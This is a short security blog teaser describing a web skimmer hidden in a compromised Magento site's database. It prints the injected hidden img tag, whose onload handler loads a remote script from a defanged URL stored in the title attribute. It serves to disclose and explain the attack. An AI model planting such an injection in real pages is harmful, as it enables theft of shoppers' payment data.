Web Swiper in Image Title

Cybercriminals regularly try a variety of approaches to hide their malicious code — web skimmers are well known for using all sorts of obfuscation and masquerading.

Suspicious Img Tag

Our malware analyst Liam Smith recently discovered a suspicious looking image tag in the database of a compromised Magento site.

<img height=”1px” width=”1px” style=”display:none;“
src=”/skin/frontend/smartwave/mango/images/cs_logo_white.png”
title=”hxxps://intljs.rmtag[.]net/js/slider.js“
onload=jQuery.getScript(this.title)>

At first glance, it just looks like <img> tag that loads a real image file.

Continue reading Web Swiper in Image Title at Sucuri Blog.

Read more: Web Swiper in Image Title